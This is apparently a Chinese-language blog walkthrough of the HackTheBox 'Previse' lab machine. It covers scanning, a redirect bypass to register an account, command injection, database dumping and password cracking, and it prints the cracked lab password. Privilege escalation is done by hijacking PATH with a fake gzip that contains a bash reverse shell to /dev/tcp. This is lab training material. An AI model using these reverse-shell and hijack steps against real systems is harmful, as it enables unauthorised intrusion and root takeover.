banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

htb靶場-privise靶機

前言#

privise 靶機,隨便抽取的一個 htb 靶場,看下能否做出來。

靶場鏈接:10.10.11.104

信息收集#

直接訪問http://10.10.11.104/login.php,一個登錄框。

Pasted image 20220108200022

嘗試弱口令,萬能密碼。

端口掃描

nmap -T4 -sC -sV -p- 10.10.11.104

fscan 掃描,發現了兩個端口,分別是 22 和 80 端口。

![[Pasted image 20220108200845.png]]

指紋識別

Pasted image 20220108200310

漏洞利用#

nuclei 掃描發現一個 openssh 用戶枚舉漏洞。

Pasted image 20220108201535

利用這個漏洞發現了 ssh 的相關賬戶如下:

4Dgifts
EZsetup
OpenSSH
OutOfBox
ROOT
adm
admin
administrator
anon
auditor
avahi
avahi-autoipd
backup
bbs
bin
checkfs
checkfsys
checksys
cmwlogin
couchdb
daemon
dbadmin
demo
demos
diag
distccd
dni
fal
fax
ftp
games
gdm
gnats
guest
haldaemon
halt
install
irc
kernoops
libuuid
list
listen
lpadm
lpadmin
lynx
mail
man
me
mountfs
mountfsys
mountsys
news
noaccess
nobody
nobody4
nxpgsql
operator
oracle
popr
postmaster
rfindd
saned
sshd
symop
sync
sysadm
sysadmin
syslog
system_admin
udadmin
ultra
us_admin
user
uucp
uucpadm
web
webmaster
www-data
xpopr
zabbix

目錄掃描

使用 gobuster 進行目錄掃描,其他的工具 ffuf,dirsearch 都沒掃到。

gobuster dir -w /p12-字典收集/web漏洞/目錄fuzz/directory-list-2.3-medium.txt -u http://10.10.11.104/ -x php,html,txt

大致結果如下:

Pasted image 20220108204922

看一些狀態為 200 的,可以看到有一個 nav.php,訪問看看,界面如下:

Pasted image 20220108205032

直接訪問這些頁面會進行跳轉,直接跳轉到 login.php,如果用 burp 訪問,則可以看到相關的頁面。

Pasted image 20220108210244

為了註冊一個賬號,需要先將 post 請求包複製下來,然後新建一個 html 文檔,action 中填寫完整的請求鏈接,註冊用戶。

<form role="form" method="post" action="http://10.10.11.104/accounts.php">
    <div class="uk-margin">
        <div class="uk-inline">
            <span class="uk-form-icon" uk-icon="icon: user"></span>
            <input type="text" name="username" class="uk-input" id="username" placeholder="用戶名">
        </div>
    </div>
    <div class="uk-margin">
        <div class="uk-inline">
            <span class="uk-form-icon" uk-icon="icon: lock"></span>
            <input type="password" name="password" class="uk-input" id="password" placeholder="密碼">
        </div>
    </div>
    <div class="uk-margin">
        <div class="uk-inline">
            <span class="uk-form-icon" uk-icon="icon: lock"></span>
            <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="確認密碼">
        </div>
    </div>
    <button type="submit" name="submit" class="uk-button uk-button-default">創建用戶</button>
</form>

利用註冊好的用戶登錄,註冊的賬號為 admin1/admin123。

Pasted image 20220108211333

訪問http://10.10.11.104/files.php 頁面,有個壓縮包下載後發現是源碼文件。

Pasted image 20220108211843

源碼如下

Pasted image 20220108211910

分析源碼,在 logs.php 處,有命令執行漏洞。

Pasted image 20220108214004

抓包http://10.10.11.104/file_logs.php,payload 如下,nc 監聽,獲取到 shell。

Pasted image 20220108214553

本機 ip。

Pasted image 20220108214642

提升至交互式終端。

python3 -c "import pty;pty.spawn('/bin/bash')"

Pasted image 20220108214931

之前在源碼備份文件中,發現了數據庫密碼。

Pasted image 20220108220022

看能否連接數據庫。

mysql -uroot -p

Pasted image 20220108220148

show databases;
use previse;
select * from accounts;

Pasted image 20220108220257

這個密碼是 md5 的密碼,用 john 進行破解。

得到密碼 ilovecody112235!。

ssh 登錄 m4lwhere 賬號,找到第一個 flag。

提權#

接下來需要提權至 root 用戶

sudo -l查看以 root 用戶運行的文件

Pasted image 20220108222511

access_backup.sh腳本有寫有執行的權限。

Pasted image 20220108222552

文件內容是

    
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

該文件調用 gzip 命令進行日誌備份,通過這個我們可以進行提權,因為這個腳本是以 root 的身份運行的,那麼我們只要掉換 gzip 命令即可。


cd /tmp
#vim gzip寫入如下內容
#/bin/bash
bash -i >& /dev/tcp/10.10.16.21/1234 0>&1

#賦給權限
chmod 777 gzip
export PATH=$(pwd):$PATH

#然後執行腳本access_backup.sh
sudo /opt/scripts/access_backup.sh

成功反彈回 shell,獲取 flag。

Pasted image 20220108225817

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。